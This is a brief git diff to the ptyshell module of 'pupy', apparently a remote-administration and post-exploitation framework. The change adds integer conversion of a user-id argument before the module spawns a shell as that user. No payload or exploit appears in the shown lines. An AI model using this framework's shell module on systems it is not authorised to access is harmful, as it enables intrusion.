diff --git a/pupy/packages/linux/all/ptyshell.py b/pupy/packages/linux/all/ptyshell.py
index eefb55c0..7e5f192c 100644
--- a/pupy/packages/linux/all/ptyshell.py
+++ b/pupy/packages/linux/all/ptyshell.py
@@ -19,6 +19,11 @@ from pupy import obtain
 
 def prepare(suid=None):
     if suid is not None:
+        try:
+            suid = int(suid)
+        except:
+            pass
+
         try:
             if not type(suid) in (int, long):
                 import pwd